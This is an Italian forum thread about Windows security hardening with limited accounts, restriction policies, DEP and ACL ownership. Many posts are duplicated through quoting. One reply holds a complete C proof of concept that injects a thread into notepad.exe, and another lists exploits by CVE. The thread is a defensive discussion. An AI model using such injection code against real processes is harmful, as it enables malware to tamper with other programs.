bisogna prima aggiungere DocAdmin e soprattutto impostarlo come owner, e poi togliere tutti gli altri, altrimenti non avresti più i permessi per aggiungere DocAdmin :D potresti farlo solamente da un account col privilegio "Take Ownership".
oppure fai le due cose nell'ordine che vuoi, solo evita di premere il tasto "Applica" prima di aver ultimato :D :D :D
ma che accid..dici??? :mbe:
a parte che 2palle se devo scrivere anche applica ecc in una guida :D
puoi ancora aggiungere un utente anche dopo aver applicato in seguito alla rimozione.
Basta prendere la ownership :fagiano:
non ho mai programmato controlli ActiveX per il web e quindi non so che restrizioni abbiano questi, ma se l'utonto accettasse ciecamente la loro installazione (come alla fine chiunque fa) non potrebbero danneggiare dei documenti non protetti?
No, perche' -vale lo stesso discorso- il browser verrebbe eseguito - si parla del tipo di configurazione da me suggerito ovviamente, non di un contesto generale - con l'account limitato o al massimo con l'amministratore SysAdmin. In entrambi i casi il processo avviato nel browser non potrebbe accedere alle cartelle il cui accesso e' consentito soltanto ad un altro utente, DocAdmin. :D
E comunque, se sei preoccupato ad ogni modo per i tuoi documenti, non tenerli sul tuo pc.
Usa soluzioni come ThinkFree (http://www.thinkfree.com/common/main.tfo).
1. Risparmi suite d'ufficio ed eventuale costo (nel caso di Microsoft Office o altri a pagamenti)
2. Non hai bisogno di soluzioni di backup dei tuoi documenti in locale.
3. Hai i tuoi documenti sempre a portata di mano, ovunque tu abbia una connessione Internet.
4. I tuoi documenti sono in un posto molto piu' sicuro del tuo pc, lontano da virus ecc.
Oppure, come faccio io al momento - se hai una connessione molto veloce, io ho 24Mbps:
- crei una cartella sul tuo sito
- disattiva i permessi di lettura http
- installi Netdrive sul tuo pc
- crei un profilo per connettere quella cartella sul tuo pc usando una lettera di drive locale, ma lasciando i file in remoto
- connetti la cartella remota solo quando ti serve lavorarci
- puoi accedervi da ovunque via ftp
ecc
ecc
ecc
:D
precisiamo: è difficile che il malware faccia danni, non che venga eseguito. ad eseguirlo viene eseguito comunque, solo che le API che chiama non faranno altro che sparargli errori :)
sempre che tu abbia configurato tutto bene.
Stiamo parlando di processi che vengano avviati all'insaputa dell'utente: in questo caso, se le restrizioni sono configurate per bloccare l'esecuzione al di fuori delle cartelle di sistema, un eventuale qualcosa che sia stato scaricato ad es. sfruttando un nuovo exploit del browser verrebbe scaricato nella cache del browser o comunque in una cartella utente, unica possibile locazione dove - sotto account limitato - quel processo potra' scrivere.
MA poiche' l'esecuzione non e' consentita al di fuori delle cartelle di sistema, se quel processo appunto e' stato scaricato al di fuori di esse (all'interno di esse NON potra' scrivere sotto account limitato) non potra' essere eseguito.
Certo, se un utente setta tutta sta storia per benino, e lancia IE come amministratore solo per Windows Update o alcuni trusted websites va bene, se lo fa per aprire il primo sito che capita, beh: l'utente e' deficiente e tutta la storia descritta non serve ad una mazza :D
non è detto che un malware voglia scrivere in System32. piuttosto cercherà la cartella dei documenti con l'API SHGetFolderPath e cercherà di cancellare qualche file.
Fine. Ma se - come gia' riscritto piu' volte - si configura una soluzione in cui l'accesso a determinate risorse e' consentito solo ad un amministratore diverso dagli utenti usati per il logon primario e secondario, allora il malware si attacca al tram. Non potra' neanche accedervi, altro che cancellare :D
intendi un Data Execution Prevention nel processo in cui gira inizialmente il malware (come il browser) o nel processo in cui iniettare codice? nel primo caso non ha senso parlare di quel tipo di exploit (ma ce ne possono essere molti altri, tranquillo che non mancano :D), mentre il secondo caso non è un problema: se il malware riesce ad aprire il processo target con PROCESS_VM_OPERATION (e nella maggioranza dei casi riesce ad aprirlo anche con PROCESS_ALL_ACCESS se è per questo) sarà sufficiente una VirtualProtectEx con gli opportuni parametri, oppure semplicemente passare fin da subito i parametri giusti alla VirtualAllocEx.
Visto che adesso mi stai divertendo, mi fai un esempio?
Account limitato + software restriction policies in default disallow + default path rules iniziali (tralasciamo pure hash rules :D) + l'inutile DEP (che come gia' detto e' molto piu' utile con account limitato): fammi un programmino che modifichi il comportamento di un altro processo. :D
Poi, non minimizziamo per favore l'utilita' circa i buffer overflows: la maggioranza degli exploits sfruttano ancora queste cazzate.
DEP non protegge da processi che l'utente avvia da se', ma almeno aiuta a proteggere contro buffer overflows che possono essere sfruttati per eseguire codice maligno sulla tua macchina. Come dire, every little helps.
Se consideriamo che un vasto numero di malware sfruttano proprio questo genere di vulnerabilita' nei browser, in teoria non dovrebbero essere eseguiti se ci sono delle ottime impostazioni di restrizioni sul software. Ma se viene sfruttato un buffer overflow, e sulla macchina e' attivato DEP su TUTTI i file - non come l'impostazione predefinita, allora c'e' una certa probabilita' che quella roba non entri in funzione gia' prima.
Che DEP non sia la funzionalita' piu' utile in termini di sicurezza e' argomento, ma non possiamo dimenticare che attivando DEP su tutto e non soltanto su componenti di Windows, anche DEP puo' fare la sua parte in un sistema configurato opportunamente.
Poi, giusto per chiudere, mi danno un po' fastidio spesso i commenti di persone che forse - immagino - non sanno neanche cosa DEP sia e non sanno dire altro che DEP e' semplicemente inutile, a prescindere da condizioni e situazioni, solo perche' magari in passato hanno letto un articolo che parlava di un workaround particolare ecc ecc, magari senza appunto neanche considerare le differenze tra DEP default e DEP attivo su tutto.
E non dimentichiamo che la vulnerabilita' coi WMF trovata qualche mese addietro e l'altra circa VML su Internet Explorer - per citare due esempi - vengono bloccate con DEP attivato come detto. Quindi e' tutt'altro che inutile.
Siamo d'accordo :)
comunque ho letto il post che mi hai linkato; vorrei precisare una cosa, ma è giusto un puntiglio :D
bisogna prima aggiungere DocAdmin e soprattutto impostarlo come owner, e poi togliere tutti gli altri, altrimenti non avresti più i permessi per aggiungere DocAdmin :D potresti farlo solamente da un account col privilegio "Take Ownership".
oppure fai le due cose nell'ordine che vuoi, solo evita di premere il tasto "Applica" prima di aver ultimato :D :D :D
ma che accid..dici??? :mbe:
a parte che 2palle se devo scrivere anche applica ecc in una guida :D
puoi ancora aggiungere un utente anche dopo aver applicato in seguito alla rimozione.
Basta prendere la ownership :fagiano:
non ho mai programmato controlli ActiveX per il web e quindi non so che restrizioni abbiano questi, ma se l'utonto accettasse ciecamente la loro installazione (come alla fine chiunque fa) non potrebbero danneggiare dei documenti non protetti?
No, perche' -vale lo stesso discorso- il browser verrebbe eseguito - si parla del tipo di configurazione da me suggerito ovviamente, non di un contesto generale - con l'account limitato o al massimo con l'amministratore SysAdmin. In entrambi i casi il processo avviato nel browser non potrebbe accedere alle cartelle il cui accesso e' consentito soltanto ad un altro utente, DocAdmin. :D
E comunque, se sei preoccupato ad ogni modo per i tuoi documenti, non tenerli sul tuo pc.
Usa soluzioni come ThinkFree (http://www.thinkfree.com/common/main.tfo).
1. Risparmi suite d'ufficio ed eventuale costo (nel caso di Microsoft Office o altri a pagamenti)
2. Non hai bisogno di soluzioni di backup dei tuoi documenti in locale.
3. Hai i tuoi documenti sempre a portata di mano, ovunque tu abbia una connessione Internet.
4. I tuoi documenti sono in un posto molto piu' sicuro del tuo pc, lontano da virus ecc.
Oppure, come faccio io al momento - se hai una connessione molto veloce, io ho 24Mbps:
- crei una cartella sul tuo sito
- disattiva i permessi di lettura http
- installi Netdrive sul tuo pc
- crei un profilo per connettere quella cartella sul tuo pc usando una lettera di drive locale, ma lasciando i file in remoto
- connetti la cartella remota solo quando ti serve lavorarci
- puoi accedervi da ovunque via ftp
ecc
ecc
ecc
:D
precisiamo: è difficile che il malware faccia danni, non che venga eseguito. ad eseguirlo viene eseguito comunque, solo che le API che chiama non faranno altro che sparargli errori :)
sempre che tu abbia configurato tutto bene.
Stiamo parlando di processi che vengano avviati all'insaputa dell'utente: in questo caso, se le restrizioni sono configurate per bloccare l'esecuzione al di fuori delle cartelle di sistema, un eventuale qualcosa che sia stato scaricato ad es. sfruttando un nuovo exploit del browser verrebbe scaricato nella cache del browser o comunque in una cartella utente, unica possibile locazione dove - sotto account limitato - quel processo potra' scrivere.
MA poiche' l'esecuzione non e' consentita al di fuori delle cartelle di sistema, se quel processo appunto e' stato scaricato al di fuori di esse (all'interno di esse NON potra' scrivere sotto account limitato) non potra' essere eseguito.
Certo, se un utente setta tutta sta storia per benino, e lancia IE come amministratore solo per Windows Update o alcuni trusted websites va bene, se lo fa per aprire il primo sito che capita, beh: l'utente e' deficiente e tutta la storia descritta non serve ad una mazza :D
non è detto che un malware voglia scrivere in System32. piuttosto cercherà la cartella dei documenti con l'API SHGetFolderPath e cercherà di cancellare qualche file.
Fine. Ma se - come gia' riscritto piu' volte - si configura una soluzione in cui l'accesso a determinate risorse e' consentito solo ad un amministratore diverso dagli utenti usati per il logon primario e secondario, allora il malware si attacca al tram. Non potra' neanche accedervi, altro che cancellare :D
intendi un Data Execution Prevention nel processo in cui gira inizialmente il malware (come il browser) o nel processo in cui iniettare codice? nel primo caso non ha senso parlare di quel tipo di exploit (ma ce ne possono essere molti altri, tranquillo che non mancano :D), mentre il secondo caso non è un problema: se il malware riesce ad aprire il processo target con PROCESS_VM_OPERATION (e nella maggioranza dei casi riesce ad aprirlo anche con PROCESS_ALL_ACCESS se è per questo) sarà sufficiente una VirtualProtectEx con gli opportuni parametri, oppure semplicemente passare fin da subito i parametri giusti alla VirtualAllocEx.
Visto che adesso mi stai divertendo, mi fai un esempio?
Account limitato + software restriction policies in default disallow + default path rules iniziali (tralasciamo pure hash rules :D) + l'inutile DEP (che come gia' detto e' molto piu' utile con account limitato): fammi un programmino che modifichi il comportamento di un altro processo. :D
Poi, non minimizziamo per favore l'utilita' circa i buffer overflows: la maggioranza degli exploits sfruttano ancora queste cazzate.
DEP non protegge da processi che l'utente avvia da se', ma almeno aiuta a proteggere contro buffer overflows che possono essere sfruttati per eseguire codice maligno sulla tua macchina. Come dire, every little helps.
Se consideriamo che un vasto numero di malware sfruttano proprio questo genere di vulnerabilita' nei browser, in teoria non dovrebbero essere eseguiti se ci sono delle ottime impostazioni di restrizioni sul software. Ma se viene sfruttato un buffer overflow, e sulla macchina e' attivato DEP su TUTTI i file - non come l'impostazione predefinita, allora c'e' una certa probabilita' che quella roba non entri in funzione gia' prima.
Che DEP non sia la funzionalita' piu' utile in termini di sicurezza e' argomento, ma non possiamo dimenticare che attivando DEP su tutto e non soltanto su componenti di Windows, anche DEP puo' fare la sua parte in un sistema configurato opportunamente.
Poi, giusto per chiudere, mi danno un po' fastidio spesso i commenti di persone che forse - immagino - non sanno neanche cosa DEP sia e non sanno dire altro che DEP e' semplicemente inutile, a prescindere da condizioni e situazioni, solo perche' magari in passato hanno letto un articolo che parlava di un workaround particolare ecc ecc, magari senza appunto neanche considerare le differenze tra DEP default e DEP attivo su tutto.
E non dimentichiamo che la vulnerabilita' coi WMF trovata qualche mese addietro e l'altra circa VML su Internet Explorer - per citare due esempi - vengono bloccate con DEP attivato come detto. Quindi e' tutt'altro che inutile.
Sisupoika
31-08-2007, 01:15
mi correggo: anche quando l'ACL è stata completamente piallata l'owner corrente dell'oggetto può ancora impostare permessi. :O
però sarebbe anche bene precisare che è necessario cambiare l'owner, altrimenti il malware che gira sotto l'account del vecchio owner potrebbe esso stesso cambiare i permessi a suo piacimento e un c@##ò è tutt'uno. ma visto che i malware d'oggi sono sempre scritti in maniera carente (visto che gli autori sono sempre kiddies ignoranti ed immaturi che hanno letto qualche scrausissimo tutorial sulle API Win32) direi che è possibile considerare paranoia il cambio dell'owner :p
o forse no :Perfido:
:D
ah ecco :stordita:
diciamola tutta: il primo virus (che è quello più pericoloso) è colui che sta dietro il monitor LOL :D
però sarebbe anche bene precisare che è necessario cambiare l'owner, altrimenti il malware che gira sotto l'account del vecchio owner potrebbe esso stesso cambiare i permessi a suo piacimento e un c@##ò è tutt'uno. ma visto che i malware d'oggi sono sempre scritti in maniera carente (visto che gli autori sono sempre kiddies ignoranti ed immaturi che hanno letto qualche scrausissimo tutorial sulle API Win32) direi che è possibile considerare paranoia il cambio dell'owner :p
o forse no :Perfido:
:D
ah ecco :stordita:
diciamola tutta: il primo virus (che è quello più pericoloso) è colui che sta dietro il monitor LOL :D
Sisupoika
31-08-2007, 01:33
...
File injection != DEP
..
Comunque complimenti per la guida da te scritta!
Grazie per i complimenti ma...chi ha parlato di file injection? :mbe: :D
File injection != DEP
..
Comunque complimenti per la guida da te scritta!
Grazie per i complimenti ma...chi ha parlato di file injection? :mbe: :D
71104
31-08-2007, 03:12
Siamo onesti almeno per una volta e, diciamola tutta: il primo virus (che è quello più pericoloso) è colui che sta dietro il monitor cioè il tipo che sta aggiustandomi la presa di corrente? :asd:
(o alla tastiera se preferite) il monitor!!! lo sapevo che mi nascondeva qualcosa, con quello sguardo furbetto...
(o alla tastiera se preferite) il monitor!!! lo sapevo che mi nascondeva qualcosa, con quello sguardo furbetto...
giannola
31-08-2007, 08:27
al contrario invece è vero che utilizzando un account limitato nessun processo ha accesso a determinate risorse e quindi non può danneggiare il sistema. può però ancora danneggiare i documenti dell'utente.
infatti io utilizzo un account limitato solo per navigare, avendo accortezza di mettere tutte le mie cose più importanti sull'altro hd. ;)
infatti io utilizzo un account limitato solo per navigare, avendo accortezza di mettere tutte le mie cose più importanti sull'altro hd. ;)
sirus
31-08-2007, 09:36
non conosco... roba di Windows Vista? purtroppo non ho Windows Vista (per principio; vedi nella prima riga della mia firma :D), e dico purtroppo perché a dispetto dei miei principi ritengo Vista un ottimo sistema operativo.
Si, si tratta di una funzionalità di Windows Vista.
Fossi in te rivedrei i miei principi, anche perché si sono fatte tante discussioni su Windows Vista per poi scoprire che nulla di ciò che era stato previsto si è poi avverato; Windows Vista è veramente un sistema operativo valido, ha i suoi problemi, questo è chiaro, ma merita una prova. :)
IE7 e tutti i processi che avvia hanno permessi ristretti e ok, ma nel sistema girano altri processi che non hanno queste restrizioni. per evitare una code injection sarebbe necessario imporre su IE7 delle restrizioni non solo su files, cartelle, e chiavi di registro, ma anche sui processi - cosa che non solo, AFAIK, non succede, ma addirittura, sempre AFAIK, non è fattibile in alcun modo senza ricorrere all'uso di programmi esterni.
Parlando di IL (più che di Protected Mode, che comunque viene messa in pratica sfruttando le potenzialità di IL), ad ogni processo viene assegnato un IL ed un processo con IL minore (ora non ricordo l'ordinamento se è dal maggior al minore o viceversa) non può accedere alle risorse (ed intendo file, directory ecc...) di un processo con IL maggiore del suo.
Inutile dire che IL assegnato ad Internet Explorer è il più piccolo possibile. :)
Ti rimando a 2 link ad un blog di una persona che ne sa molte più di me... :D Running Vista Every Day! (http://theinvisiblethings.blogspot.com/2007/02/running-vista-every-day.html) e Handy Tool To Play with Windows Integrity Levels (http://theinvisiblethings.blogspot.com/2007/03/handy-tool-to-play-with-windows.html). :p
Si, si tratta di una funzionalità di Windows Vista.
Fossi in te rivedrei i miei principi, anche perché si sono fatte tante discussioni su Windows Vista per poi scoprire che nulla di ciò che era stato previsto si è poi avverato; Windows Vista è veramente un sistema operativo valido, ha i suoi problemi, questo è chiaro, ma merita una prova. :)
IE7 e tutti i processi che avvia hanno permessi ristretti e ok, ma nel sistema girano altri processi che non hanno queste restrizioni. per evitare una code injection sarebbe necessario imporre su IE7 delle restrizioni non solo su files, cartelle, e chiavi di registro, ma anche sui processi - cosa che non solo, AFAIK, non succede, ma addirittura, sempre AFAIK, non è fattibile in alcun modo senza ricorrere all'uso di programmi esterni.
Parlando di IL (più che di Protected Mode, che comunque viene messa in pratica sfruttando le potenzialità di IL), ad ogni processo viene assegnato un IL ed un processo con IL minore (ora non ricordo l'ordinamento se è dal maggior al minore o viceversa) non può accedere alle risorse (ed intendo file, directory ecc...) di un processo con IL maggiore del suo.
Inutile dire che IL assegnato ad Internet Explorer è il più piccolo possibile. :)
Ti rimando a 2 link ad un blog di una persona che ne sa molte più di me... :D Running Vista Every Day! (http://theinvisiblethings.blogspot.com/2007/02/running-vista-every-day.html) e Handy Tool To Play with Windows Integrity Levels (http://theinvisiblethings.blogspot.com/2007/03/handy-tool-to-play-with-windows.html). :p
Chukie
31-08-2007, 11:24
Grazie per i complimenti ma...chi ha parlato di file injection? :mbe: :D
ehm....
credo che ancora non esista una soluzione pratica vera e propria al problema dell'iniezione di codice in altri processi che sia attuabile senza ricorrere all'uso di programmi esterni.
In queste condizioni (account limitato + restrizioni), se pure un processo dovesse riusciure ad eseguirsi in qualche modo, basterebbe il semplice DEP (che da solo, in un account amministratore, e' facilmente aggirabile) - nella maggioranza dei casi - ad evitare che esso possa iniettare roba negli spazi di memoria usati da altri processi.
Inoltre, scusa, non ho capito se era riferito a me sinceramente:
Poi, giusto per chiudere, mi danno un po' fastidio spesso i commenti di persone che forse - immagino - non sanno neanche cosa DEP sia e non sanno dire altro che DEP e' semplicemente inutile, a prescindere da condizioni e situazioni, solo perche' magari in passato hanno letto un articolo che parlava di un workaround particolare
Microsoft LSASS MSO4-011 Overflow (CVE-2003-0533)
Internet Explorer createTextRange Code Execution (CVE-2006-1359)
Internet Explorer Object Type Overflow (CVE-2003-0344)
Microsoft RRAS MSO6-025 Stack Overflow (CVE-2006-2370)
Microsoft RRAS MSO6-025 RASMAN Registry Stack Overflow (CVE-2006-2370)
WinRAR <= 3.60 beta 6 (SFX Path) Local Stack Overflow Exploit (CVE-2006-3912)
Mozilla Firefox <= 1.5.0.4 Javascript Navigator Object Code Execution-PoC (CVE-2006-2677)
MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (CVE-2006-3439)
etc....
Da quello che so il DEP è stato particolarmente in difficoltà su questi exploit che, diciamocela tutta, non sono proprio strani ma, anzi, alcuni sono stati utilizzati anche da malware oltre che da script per iniettare malware all'interno del pc.
Con ciò non voglio dire che il DEP sia inutile, è un utility free che male non fa, ho solo voluto sottolineare anche i suoi difetti oltre che i pregi.
ehm....
credo che ancora non esista una soluzione pratica vera e propria al problema dell'iniezione di codice in altri processi che sia attuabile senza ricorrere all'uso di programmi esterni.
In queste condizioni (account limitato + restrizioni), se pure un processo dovesse riusciure ad eseguirsi in qualche modo, basterebbe il semplice DEP (che da solo, in un account amministratore, e' facilmente aggirabile) - nella maggioranza dei casi - ad evitare che esso possa iniettare roba negli spazi di memoria usati da altri processi.
Inoltre, scusa, non ho capito se era riferito a me sinceramente:
Poi, giusto per chiudere, mi danno un po' fastidio spesso i commenti di persone che forse - immagino - non sanno neanche cosa DEP sia e non sanno dire altro che DEP e' semplicemente inutile, a prescindere da condizioni e situazioni, solo perche' magari in passato hanno letto un articolo che parlava di un workaround particolare
Microsoft LSASS MSO4-011 Overflow (CVE-2003-0533)
Internet Explorer createTextRange Code Execution (CVE-2006-1359)
Internet Explorer Object Type Overflow (CVE-2003-0344)
Microsoft RRAS MSO6-025 Stack Overflow (CVE-2006-2370)
Microsoft RRAS MSO6-025 RASMAN Registry Stack Overflow (CVE-2006-2370)
WinRAR <= 3.60 beta 6 (SFX Path) Local Stack Overflow Exploit (CVE-2006-3912)
Mozilla Firefox <= 1.5.0.4 Javascript Navigator Object Code Execution-PoC (CVE-2006-2677)
MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (CVE-2006-3439)
etc....
Da quello che so il DEP è stato particolarmente in difficoltà su questi exploit che, diciamocela tutta, non sono proprio strani ma, anzi, alcuni sono stati utilizzati anche da malware oltre che da script per iniettare malware all'interno del pc.
Con ciò non voglio dire che il DEP sia inutile, è un utility free che male non fa, ho solo voluto sottolineare anche i suoi difetti oltre che i pregi.
71104
31-08-2007, 14:08
ma che accid..dici??? :mbe:
a parte che 2palle se devo scrivere anche applica ecc in una guida :D
puoi ancora aggiungere un utente anche dopo aver applicato in seguito alla rimozione.
Basta prendere la ownership :fagiano: appunto, e serve il privilegio. a meno che non sei già owner, e perdonami ma non è facile ricordare tutti i minimi dettagli di un sistema di sicurezza complesso come quello di Windows. ricordarmi che esiste un utente (l'owner) che può cambiare i permessi di un oggetto anche se l'ACL non glielo permette esplicitamente non è stato immediato.
No, perche' -vale lo stesso discorso- il browser verrebbe eseguito - si parla del tipo di configurazione da me suggerito ovviamente, non di un contesto generale - con l'account limitato o al massimo con l'amministratore SysAdmin. In entrambi i casi il processo avviato nel browser non potrebbe accedere alle cartelle il cui accesso e' consentito soltanto ad un altro utente, DocAdmin. :D certo, però devi giustappunto prendere i provvedimenti descritti nel tuo post (quello che mi hai linkato) per proteggere i documenti, altrimenti il danno può avvenire. per questo dicevo che quel post è tutt'altro che paranoia (e successivo esempio degli ActiveX).
E comunque, se sei preoccupato ad ogni modo per i tuoi documenti, non tenerli sul tuo pc. ma che c'entra, io facevo solo speculazioni osservazioni e precisazioni, per amore di cultura e completezza :D
Usa soluzioni come ThinkFree (http://www.thinkfree.com/common/main.tfo).
1. Risparmi suite d'ufficio ed eventuale costo (nel caso di Microsoft Office o altri a pagamenti)
2. Non hai bisogno di soluzioni di backup dei tuoi documenti in locale.
3. Hai i tuoi documenti sempre a portata di mano, ovunque tu abbia una connessione Internet.
4. I tuoi documenti sono in un posto molto piu' sicuro del tuo pc, lontano da virus ecc. 5. se c'è un disservizio proprio il giorno che hai assolutamente bisogno dei documenti e non riesci a scaricarli ci facciamo due risate :asd:
naa, scherzi a parte, non dubito affatto dell'affidabilità di questi servizi, tant'è vero che io stesso per certe cose faccio in maniera molto simile: uso un plugin per FireFox che si chiama Gspace :D :D :D
forse questo ThinkFree è addirittura più sicuro di Gmail, ma finora sono soddisfatto: Google non mi ha ancora deluso.
Stiamo parlando di processi che vengano avviati all'insaputa dell'utente: o quasi: ricordati sempre dell'esempio dell'utonto che installa ciecamente gli ActiveX :D
giusto per precisare.
un po', bisogna ammetterlo, è anche colpa del training effect subìto dall'utente che si abitua a cliccare il tasto "Install". approvo molto il funzionamento di FireFox da questo punto di vista: il tasto di conferma è disabilitato e si abilita con un conto alla rovescia di circa 1 secondo e mezzo.
in questo caso, se le restrizioni sono configurate per bloccare l'esecuzione al di fuori delle cartelle di sistema, un eventuale qualcosa che sia stato scaricato ad es. sfruttando un nuovo exploit del browser verrebbe scaricato nella cache del browser o comunque in una cartella utente, unica possibile locazione dove - sotto account limitato - quel processo potra' scrivere.
MA poiche' l'esecuzione non e' consentita al di fuori delle cartelle di sistema, se quel processo appunto e' stato scaricato al di fuori di esse (all'interno di esse NON potra' scrivere sotto account limitato) non potra' essere eseguito. potrebbe non essere un programma a parte da lanciare, potrebbe essere uno shellcode che gira già nel processo del browser. ed inoltre la configurazione che tu descrivi rischia di essere troppo limitativa: l'utente potrebbe non riuscire più a lanciare gli ActiveX che scarica. e d'accordo che ce ne sono di pessimi, ma altri hanno il sacrosanto diritto di essere lanciati, òh :O
Visto che adesso mi stai divertendo, mi fai un esempio?
Account limitato + software restriction policies in default disallow + default path rules iniziali (tralasciamo pure hash rules :D) + l'inutile DEP (che come gia' detto e' molto piu' utile con account limitato): fammi un programmino che modifichi il comportamento di un altro processo. :D non ho capito cosa sono le "default path rules iniziali" :Prrr:
ed inoltre non so neanche se il mio processore ha l'NX-bit.
comunque prova questo:
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
#define MAX_PROCESSES 0x100
#define PAGE_SIZE 0x1000
typedef int (WINAPI *LPMESSAGE_BOX)(HWND, LPCTSTR, LPCTSTR, UINT);
typedef struct _DATA {
LPMESSAGE_BOX lpMessageBox;
TCHAR pszMessage[ANYSIZE_ARRAY];
} DATA, *LPDATA;
#define MESSAGE (TEXT("ciao, io sono un virus; e tu, vuoi essere mio amico?"))
DWORD WINAPI ThreadProc(LPDATA lpData);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
PDWORD pdwProcesses;
DWORD dwSize;
UINT uCount;
UINT u;
HANDLE hProcess;
TCHAR pszBaseName[MAX_PATH + 1];
LPVOID lpRemoteData;
DATA d;
LPVOID lpRemoteCode;
HANDLE hRemoteThread;
DWORD dwDummy;
dwSize = MAX_PROCESSES * sizeof(DWORD);
pdwProcesses = (PDWORD)malloc(dwSize);
if (pdwProcesses == NULL) {
return -1;
}
if (!EnumProcesses(pdwProcesses, dwSize, &dwSize)) {
free(pdwProcesses);
return -1;
}
uCount = dwSize / sizeof(DWORD);
for (u = 0; u < uCount; u++) {
hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_CREATE_THREAD,
FALSE,
pdwProcesses[u]
);
if (hProcess == NULL) {
continue;
}
if (GetModuleBaseName(hProcess, NULL, pszBaseName, MAX_PATH) == 0) {
CloseHandle(hProcess);
continue;
}
if (lstrcmpi(pszBaseName, TEXT("notepad.exe")) != 0) {
CloseHandle(hProcess);
continue;
}
lpRemoteData = VirtualAllocEx(hProcess, NULL, PAGE_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (lpRemoteData == NULL) {
CloseHandle(hProcess);
continue;
}
d.lpMessageBox = (LPMESSAGE_BOX)GetProcAddress(LoadLibrary(TEXT("USER32.DLL")), "MessageBoxW");
if (!WriteProcessMemory(hProcess, lpRemoteData, &d, sizeof(DATA), &dwDummy)) {
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
if (!WriteProcessMemory(hProcess, (PCHAR)lpRemoteData + (DWORD_PTR)&d.pszMessage - (DWORD_PTR)&d, MESSAGE, sizeof(MESSAGE), &dwDummy)) {
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
lpRemoteCode = VirtualAllocEx(hProcess, NULL, PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpRemoteCode == NULL) {
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
if (!WriteProcessMemory(hProcess, lpRemoteCode, (LPTHREAD_START_ROUTINE)ThreadProc, PAGE_SIZE, &dwDummy)) {
VirtualFreeEx(hProcess, lpRemoteCode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, lpRemoteCode, lpRemoteData, 0, &dwDummy);
if (hRemoteThread == NULL) {
VirtualFreeEx(hProcess, lpRemoteCode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
break;
}
free(pdwProcesses);
return 0;
}
DWORD WINAPI ThreadProc(LPDATA lpData) {
lpData->lpMessageBox(NULL, lpData->pszMessage, NULL, MB_YESNO);
return 0;
}
Poi, non minimizziamo per favore l'utilita' circa i buffer overflows: la maggioranza degli exploits sfruttano ancora queste cazzate. il DEP è utilissimo, infatti scongiura al 99% la possibilità di stack overflow. e dico al 99% perché per essere passibili di simili exploit nonostante il DEP il programmatore deve essere scemo e mettercisi di impegno (strano, una volta tanto non è colpa dell'utonto :D): deve deliberatamente sproteggere le pagine dello stack con VirtualProtect settandole come PAGE_EXECUTE_READWRITE, e non sono neanche sicuro al 100% che la cosa funzioni sempre visto che ci mette mano pure kernel32 che deve committare le pagine man mano che lo stack cresce... insomma deve trattarsi di programmatori molto creativi :D
DEP non protegge da processi che l'utente avvia da se', vorrei vedere, a sto punto spegni il PC...
Se consideriamo che un vasto numero di malware sfruttano proprio questo genere di vulnerabilita' nei browser, in teoria non dovrebbero essere eseguiti se ci sono delle ottime impostazioni di restrizioni sul software. Ma se viene sfruttato un buffer overflow, e sulla macchina e' attivato DEP su TUTTI i file - non come l'impostazione predefinita, su tutti i... files? :mbe:
guarda non so come funzioni Windows Vista perché manco ce l'ho, ma su XP se il processore supporta l'NX-bit il DEP è attivato sempre e in tutto il sistema... :mbe:
ciascuna pagina di memoria virtuale ha i propri attributi di protezione, settabili con l'API VirtualProtect(Ex) o, in fase di allocazione della pagina, con VirtualAlloc(Ex); se questi attributi includono PAGE_EXECUTE allora l'NX-bit è disattivato, altrimenti è attivato. questo per tutti i processi, per tutti i moduli in ciascun processo, e per tutte le altre pagine di memoria virtuale di ciascun processo. addirittura funge pure nel kernel mi sa.
allora c'e' una certa probabilita' che quella roba non entri in funzione gia' prima.
Che DEP non sia la funzionalita' piu' utile in termini di sicurezza e' argomento, ma non possiamo dimenticare che attivando DEP su tutto e non soltanto su componenti di Windows, anche DEP puo' fare la sua parte in un sistema configurato opportunamente.
Poi, giusto per chiudere, mi danno un po' fastidio spesso i commenti di persone che forse - immagino - non sanno neanche cosa DEP sia e non sanno dire altro che DEP e' semplicemente inutile, a prescindere da condizioni e situazioni, solo perche' magari in passato hanno letto un articolo che parlava di un workaround particolare ecc ecc, magari senza appunto neanche considerare le differenze tra DEP default e DEP attivo su tutto.
E non dimentichiamo che la vulnerabilita' coi WMF trovata qualche mese addietro e l'altra circa VML su Internet Explorer - per citare due esempi - vengono bloccate con DEP attivato come detto. Quindi e' tutt'altro che inutile. ma dove l'hai trovata tutta sta gente che proclama l'inutilità del DEP :mbe:
a parte che 2palle se devo scrivere anche applica ecc in una guida :D
puoi ancora aggiungere un utente anche dopo aver applicato in seguito alla rimozione.
Basta prendere la ownership :fagiano: appunto, e serve il privilegio. a meno che non sei già owner, e perdonami ma non è facile ricordare tutti i minimi dettagli di un sistema di sicurezza complesso come quello di Windows. ricordarmi che esiste un utente (l'owner) che può cambiare i permessi di un oggetto anche se l'ACL non glielo permette esplicitamente non è stato immediato.
